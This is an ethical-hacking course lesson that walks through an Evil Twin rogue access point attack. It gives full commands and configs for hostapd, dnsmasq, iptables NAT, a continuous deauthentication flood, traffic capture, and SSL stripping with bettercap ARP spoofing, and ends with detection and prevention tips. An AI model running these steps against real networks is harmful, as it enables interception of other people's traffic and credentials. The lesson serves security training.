Cyber Services / All lessons / CEH — Ethical Hacking / Evil Twin Attack Simulation

Evil Twin Attack Simulation

Module 91 of 130 · 4 min read · Free to read

MODULES ↓ Command blocks have a COPY button
Objective: Create a rogue access point with the same SSID as a legitimate network to intercept client traffic using your wlan0 interface.
WARNING:

This guide is for educational purposes only. Perform these actions only on networks you own or have explicit permission to test. Unauthorized access is illegal.

Prerequisites

  • Kali Linux or similar penetration testing distribution
  • Wireless adapter supporting monitor mode and packet injection (wlan0)
  • Root access on your machine
  • Required tools: aircrack-ng, hostapd, dnsmasq, iptables

Optimal Attack Methodology

Step 1: Preparation and Interface Configuration

Identify and prepare your wireless interface:

# Check interface status
iwconfig

# Verify wlan0 is present and recognized
ip link show wlan0

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode on wlan0
sudo airmon-ng start wlan0

This creates a monitor interface typically named wlan0 . Verify this with iwconfig.

Step 2: Target Network Reconnaissance

Scan for target networks:

# Scan for available networks
sudo airodump-ng wlan0 

Identify your target network and note its BSSID, channel, and security type. Let's assume our target uses channel 6 with BSSID AA:BB:CC:DD:EE:FF.

Step 3: Evil Twin Access Point Setup

Configure hostapd for the rogue AP:

# Create hostapd configuration
sudo nano /etc/hostapd/hostapd.conf

Add the following configuration (adjust based on your target):

interface=wlan0 
driver=nl80211
ssid=Target_Network_Name
hw_mode=g
channel=6
auth_algs=1
wmm_enabled=0

Configure networking for the rogue AP:

# Set static IP for the AP
sudo ifconfig wlan0  up 192.168.1.1 netmask 255.255.255.0

# Configure DHCP with dnsmasq
sudo nano /etc/dnsmasq.conf

Add these dnsmasq configurations:

interface=wlan0 
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
Step 4: Enable IP Forwarding and NAT

Set up traffic forwarding:

# Enable IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Configure iptables rules for NAT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0  -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0  -m state --state RELATED,ESTABLISHED -j ACCEPT

Replace eth0 with your internet-connected interface if different.

Step 5: Launch the Rogue AP

Start the services:

# Start dnsmasq
sudo systemctl start dnsmasq

# Start hostapd
sudo hostapd /etc/hostapd/hostapd.conf

Keep this terminal open to monitor hostapd output. Open a new terminal for the next steps.

Step 6: Deauthentication Attack

Force clients to connect to your rogue AP:

# Deauthenticate clients from the legitimate AP
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0 

This sends continuous deauthentication packets. Stop with Ctrl+C once clients start connecting to your rogue AP.

Step 7: Traffic Interception and Monitoring

Monitor connected clients:

# Check for connected clients
sudo airodump-ng wlan0 

Capture traffic with tcpdump:

# Capture all traffic on the rogue AP
sudo tcpdump -i wlan0  -w evil_twin_capture.pcap

Analyze the captured file in Wireshark for sensitive information.

Step 8: SSL Stripping (Optional Advanced Technique)

For intercepting HTTPS traffic:

# Redirect HTTP traffic to your proxy
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# Use sslstrip or bettercap to handle HTTPS stripping
sudo bettercap -iface wlan0 

In bettercap, use commands like set arp.spoof.targets TARGET_IP and arp.spoof on followed by net.sniff on.

Step 9: Cleanup and Restoration

Restore normal operation:

# Stop services
sudo systemctl stop dnsmasq
sudo pkill hostapd

# Flush iptables rules
sudo iptables -t nat -F
sudo iptables -F

# Disable monitor mode
sudo airmon-ng stop wlan0 

# Restart network manager
sudo systemctl restart NetworkManager

Troubleshooting Common Issues

  • hostapd errors: Ensure your wireless card supports AP mode with iw list | grep "AP"
  • DHCP issues: Check if another DHCP server is running on your system
  • No internet for clients: Verify IP forwarding and iptables rules are correctly configured
  • Deauth not working: Some modern devices are resistant to deauth attacks - try targeting specific clients

Detection and Prevention

How to detect Evil Twin attacks:
  • Unexpected certificate warnings when connecting to familiar sites
  • Duplicate network names with slightly different signal strengths
  • Performance issues on normally reliable networks
  • Use of WIPS (Wireless Intrusion Prevention Systems)
Protection measures:
  • Use VPNs to encrypt all traffic
  • Enable HTTPS everywhere and certificate pinning
  • Avoid connecting to open WiFi networks
  • Use enterprise WPA2/WPA3 with 802.1X authentication
  • Monitor for rogue APs with wireless security tools

Conclusion

This technical guide demonstrates how to execute an Evil Twin attack using the wlan0 interface. Understanding these techniques is crucial for developing effective wireless security defenses. Always practice these methods in controlled lab environments only.

Modules (130) ← CEH — Ethical Hacking